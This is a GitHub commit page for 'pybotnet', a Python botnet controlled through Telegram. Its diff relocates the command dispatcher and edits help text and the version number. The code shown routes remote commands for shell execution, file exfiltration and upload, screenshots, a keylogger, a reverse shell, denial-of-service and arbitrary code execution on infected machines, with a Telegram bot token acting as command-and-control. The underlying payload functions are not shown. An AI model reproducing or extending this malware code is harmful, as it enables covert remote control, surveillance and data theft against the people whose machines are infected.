Skip to content

Commit

Permalink
debug help command| remove: &
Browse files Browse the repository at this point in the history
  • Loading branch information
onionj committed Oct 14, 2021
1 parent 495e645 commit 6eb4cab
Show file tree
Hide file tree
Showing 2 changed files with 74 additions and 75 deletions.
147 changes: 73 additions & 74 deletions pybotnet/scripts.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@

"import_file": "`import_file <file route>`: download's a file from target's system",

"screenshot": "`screenshot`: Take's a screenshot & return's the download link",
"screenshot": "`screenshot`: Take's a screenshot and return's the download link",

"info": "`info`: runs `get_info` command!",

Expand Down Expand Up @@ -118,75 +118,6 @@ def send_message(text: str):
return "reverse shell exit."


def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str,
TELEGRAM_TOKEN: str, previous_update_id: List[int], logger):
command_name = get_command_name(command)
try:
if is_command(command):

if command_name == MAC_ADDRES:
'''run command just on this system'''
logger.info('delete mac addres and run command ')
new_command = ' '.join(split_command(command)[1:])
return execute_scripts(
new_command, pybotnet_up_time,
ADMIN_CHAT_ID, TELEGRAM_TOKEN,
previous_update_id, logger)

elif command_name == 'do_sleep':
return execute_do_sleep(command, logger)

elif command_name in ['get_info', 'info']:
return get_info(pybotnet_up_time, logger)

elif command_name == 'cmd':
return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True)

elif command_name == 'ls':
return execute_ls(command, logger)

elif command_name == 'cd':
return execute_cd(command, logger)

elif command_name == 'export_file':
return execute_download_manager(command, logger)

elif command_name == 'import_file':
return execute_upload_manager(command, logger)

elif command_name == 'screenshot':
return screenshot(logger)

elif command_name in ['help', '/start']:
return command_help(logger)

elif command_name in ['reverse_shell']:
return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger)

elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']:
return keylogger(logger, command)

elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]:
return scheduler_script(logger, command)

elif command_name == "playsound":
return playsound_pybotnet(logger, command)

elif command_name == "openurl":
return openurl(logger, command)

elif command_name == "dos":
return dos(logger, command)

elif command_name == "runcode":
return runcode(logger, command)
logger.error('execute_scripts invalid command; Wrong format')
return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}"

except Exception as error:
return f'execute_scripts error: {error}'


def execute_do_sleep(command, logger):
command = split_command(command)
try:
Expand Down Expand Up @@ -624,11 +555,10 @@ def command_help(logger):
for _, value in scripts_name.items():
commands += '\n\n|' + value
logger.info(f'scripts.command_help: return command lists')
return f'''command list:
{commands}
return f'''
Version: {settings.pybotnet_version}
more help: {settings.pybotnet_github_link}'''
more help: {settings.pybotnet_github_link}
command list:{commands}'''

except Exception as error:
logger(f'scripts.command_help: error {error}')
Expand All @@ -639,3 +569,72 @@ def command_help(logger):
Pybotnet Version:{settings.pybotnet_version}
for more help, see: {settings.pybotnet_github_link}'''


def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str,
TELEGRAM_TOKEN: str, previous_update_id: List[int], logger):
command_name = get_command_name(command)
try:
if is_command(command):

if command_name == MAC_ADDRES:
'''run command just on this system'''
logger.info('delete mac addres and run command ')
new_command = ' '.join(split_command(command)[1:])
return execute_scripts(
new_command, pybotnet_up_time,
ADMIN_CHAT_ID, TELEGRAM_TOKEN,
previous_update_id, logger)

elif command_name == 'do_sleep':
return execute_do_sleep(command, logger)

elif command_name in ['get_info', 'info']:
return get_info(pybotnet_up_time, logger)

elif command_name == 'cmd':
return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True)

elif command_name == 'ls':
return execute_ls(command, logger)

elif command_name == 'cd':
return execute_cd(command, logger)

elif command_name == 'export_file':
return execute_download_manager(command, logger)

elif command_name == 'import_file':
return execute_upload_manager(command, logger)

elif command_name == 'screenshot':
return screenshot(logger)

elif command_name in ['help', '/start']:
return command_help(logger)

elif command_name in ['reverse_shell']:
return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger)

elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']:
return keylogger(logger, command)

elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]:
return scheduler_script(logger, command)

elif command_name == "playsound":
return playsound_pybotnet(logger, command)

elif command_name == "openurl":
return openurl(logger, command)

elif command_name == "dos":
return dos(logger, command)

elif command_name == "runcode":
return runcode(logger, command)
logger.error('execute_scripts invalid command; Wrong format')
return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}"

except Exception as error:
return f'execute_scripts error: {error}'
2 changes: 1 addition & 1 deletion pybotnet/settings.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@

pybotnet_version = '1.0.2'
pybotnet_version = '1.0.3'
pybotnet_github_link = 'https://github.com/onionj/pybotnet'
pybotnet_license = 'GNU Lesser General Public License v3 or later (LGPLv3+)'
pybotnet_pypi_link = 'https://pypi.org/project/pybotnet/'
Expand Down

0 comments on commit 6eb4cab

Please sign in to comment.